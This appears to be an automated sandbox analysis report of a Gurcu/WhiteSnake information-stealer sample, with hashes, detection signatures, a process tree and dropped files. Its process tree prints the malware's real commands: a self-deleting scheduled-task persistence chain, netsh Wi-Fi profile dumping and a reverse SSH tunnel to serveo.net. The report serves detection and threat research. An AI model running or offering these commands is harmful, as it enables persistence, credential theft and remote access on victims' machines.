Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    09-09-2023 13:58

General

  • Target

    6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe

  • Size

    53.4MB

  • MD5

    a43b860d290321de53ed6deb5cae95af

  • SHA1

    62cc70d91f7e39fc93b9b0f106f78a90cfc54047

  • SHA256

    6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538

  • SHA512

    535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5

  • SSDEEP

    6144:wGWM/t/a2zDGVPJXvnzZjDJHb571Kjn1929XDccH19bqjWVHQDcXeUa:cmRatpvnzZjDv7oj19yTuj+H9XRa

Malware Config

Signatures

  • Detect Gurcu Stealer V3 payload 7 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2128
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:2696
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:2708
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:2672
        • C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
          "C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2600
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:544
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:2452
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:1004
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:2808
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1856
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:1428
                    • C:\Windows\system32\netsh.exe
                      netsh wlan show networks mode=bssid
                      5⤵
                        PID:1140
                      • C:\Windows\system32\findstr.exe
                        findstr "SSID BSSID Signal"
                        5⤵
                          PID:1656
                      • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                        "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:2598 serveo.net
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1860
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {79F8C408-9CC4-42FD-8206-69DEF0935CA1} S-1-5-21-3513876443-2771975297-1923446376-1000:GPFFWLPI\Admin:Interactive:[1]
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1444
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe
                    2⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook profiles
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    • outlook_office_path
                    • outlook_win_path
                    PID:2716
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1980
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        4⤵
                          PID:2520
                        • C:\Windows\system32\findstr.exe
                          findstr /R /C:"[ ]:[ ]"
                          4⤵
                            PID:2752
                          • C:\Windows\system32\netsh.exe
                            netsh wlan show profiles
                            4⤵
                              PID:2540
                          • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                            "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:2598 serveo.net
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2472
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                            3⤵
                              PID:2824
                              • C:\Windows\system32\chcp.com
                                chcp 65001
                                4⤵
                                  PID:2508
                                • C:\Windows\system32\netsh.exe
                                  netsh wlan show networks mode=bssid
                                  4⤵
                                    PID:2288
                                  • C:\Windows\system32\findstr.exe
                                    findstr "SSID BSSID Signal"
                                    4⤵
                                      PID:2324

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\.ssh\known_hosts

                                Filesize

                                393B

                                MD5

                                18015a60cd12f33648facec1263cfafa

                                SHA1

                                31b7afd9a2dc51bfad694e5772d430fceedbac3f

                                SHA256

                                9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190

                                SHA512

                                fcdb2e02f01c59916eaa08baeb74cc2f61eed6d96873f41a2299b752b9ec1af5db74a6eac6013c9a45a77d0bbc0431590f16fa74cff779eea97383e2fe073925

                              • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                                Filesize

                                344B

                                MD5

                                24e41fef3aa9b04cae1a38e4c2b863ac

                                SHA1

                                b2a905fde1f6f778fca66270e861c92c55078fc2

                                SHA256

                                4812b7652cfc4ce58559bbba0144cf9a462af28789aaa599e2a2c2ab6b159e90

                                SHA512

                                1ee9e4add5f91bd92dada987946a9f85e2d58763dd041ae293a2a48c3a358c754301b06abd07c971543bfb694441b18abcf1d0f53da0e031328b151b4c3ce0f1

                              • C:\Users\Admin\AppData\Local\Temp\Cab9262.tmp

                                Filesize

                                61KB

                                MD5

                                f3441b8572aae8801c04f3060b550443

                                SHA1

                                4ef0a35436125d6821831ef36c28ffaf196cda15

                                SHA256

                                6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

                                SHA512

                                5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

                              • C:\Users\Admin\AppData\Local\Temp\Tar939D.tmp

                                Filesize

                                163KB

                                MD5

                                9441737383d21192400eca82fda910ec

                                SHA1

                                725e0d606a4fc9ba44aa8ffde65bed15e65367e4

                                SHA256

                                bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

                                SHA512

                                7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe

                                Filesize

                                53.4MB

                                MD5

                                a43b860d290321de53ed6deb5cae95af

                                SHA1

                                62cc70d91f7e39fc93b9b0f106f78a90cfc54047

                                SHA256

                                6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538

                                SHA512

                                535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe

                                Filesize

                                53.4MB

                                MD5

                                a43b860d290321de53ed6deb5cae95af

                                SHA1

                                62cc70d91f7e39fc93b9b0f106f78a90cfc54047

                                SHA256

                                6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538

                                SHA512

                                535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538exe_JC.exe

                                Filesize

                                53.4MB

                                MD5

                                a43b860d290321de53ed6deb5cae95af

                                SHA1

                                62cc70d91f7e39fc93b9b0f106f78a90cfc54047

                                SHA256

                                6a04236a1990191a46fae7e4f2b87cd5b75b225f9ea073d34dab40ba25d7b538

                                SHA512

                                535cca5f0fdd3efecfca76760ab914b1c29ef7accc4e0789e5f658b1aa922fac854cfca752c745843c667d3be67672185973a79335496ef4b0a0f73d47c3b1a5

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                                Filesize

                                1.5MB

                                MD5

                                79a6e2268dfdba1d94c27f4b17265ff4

                                SHA1

                                b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                                SHA256

                                6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                                SHA512

                                3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                                Filesize

                                914KB

                                MD5

                                d1ce628a81ab779f1e8f7bf7df1bb32c

                                SHA1

                                011c90c704bb4782001d6e6ce1c647bf2bb17e01

                                SHA256

                                2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                                SHA512

                                de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                                Filesize

                                914KB

                                MD5

                                d1ce628a81ab779f1e8f7bf7df1bb32c

                                SHA1

                                011c90c704bb4782001d6e6ce1c647bf2bb17e01

                                SHA256

                                2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                                SHA512

                                de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                              • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

                                Filesize

                                914KB

                                MD5

                                d1ce628a81ab779f1e8f7bf7df1bb32c

                                SHA1

                                011c90c704bb4782001d6e6ce1c647bf2bb17e01

                                SHA256

                                2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

                                SHA512

                                de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

                              • C:\Users\Admin\AppData\Local\w3bgb431s6\port.dat

                                Filesize

                                4B

                                MD5

                                4ebccfb3e317c7789f04f7a558df4537

                                SHA1

                                e5b088349a802b84e981bd16273875b3ea68bb0e

                                SHA256

                                893cb5b1a02d4dcada2c464508cc4e47b86f8f21185b6032d5a12cb3f1e4541a

                                SHA512

                                77b89093f4b8705948b070e56abe193fdc17c1bd8a9adc28a0b5f10886dc8ad528279496992b87eb1107b850e3a77475a9f6b250f3a5c761996e10173a9e1c19

                              • \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                                Filesize

                                1.5MB

                                MD5

                                79a6e2268dfdba1d94c27f4b17265ff4

                                SHA1

                                b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                                SHA256

                                6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                                SHA512

                                3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                              • \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

                                Filesize

                                1.5MB

                                MD5

                                79a6e2268dfdba1d94c27f4b17265ff4

                                SHA1

                                b17eed8cb6f454700f8bfcfd315d5627d3cf741c

                                SHA256

                                6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

                                SHA512

                                3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

                              • memory/2408-0-0x0000000000090000-0x00000000000F2000-memory.dmp

                                Filesize

                                392KB

                              • memory/2408-5-0x000007FEF5D90000-0x000007FEF677C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2408-2-0x00000000004D0000-0x0000000000550000-memory.dmp

                                Filesize

                                512KB

                              • memory/2408-1-0x000007FEF5D90000-0x000007FEF677C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2600-144-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2600-11-0x000000001AF70000-0x000000001AFF0000-memory.dmp

                                Filesize

                                512KB

                              • memory/2600-10-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2600-9-0x0000000000F20000-0x0000000000F82000-memory.dmp

                                Filesize

                                392KB

                              • memory/2716-209-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2716-232-0x000007FEF53A0000-0x000007FEF5D8C000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2716-233-0x000000001AD00000-0x000000001AD80000-memory.dmp

                                Filesize

                                512KB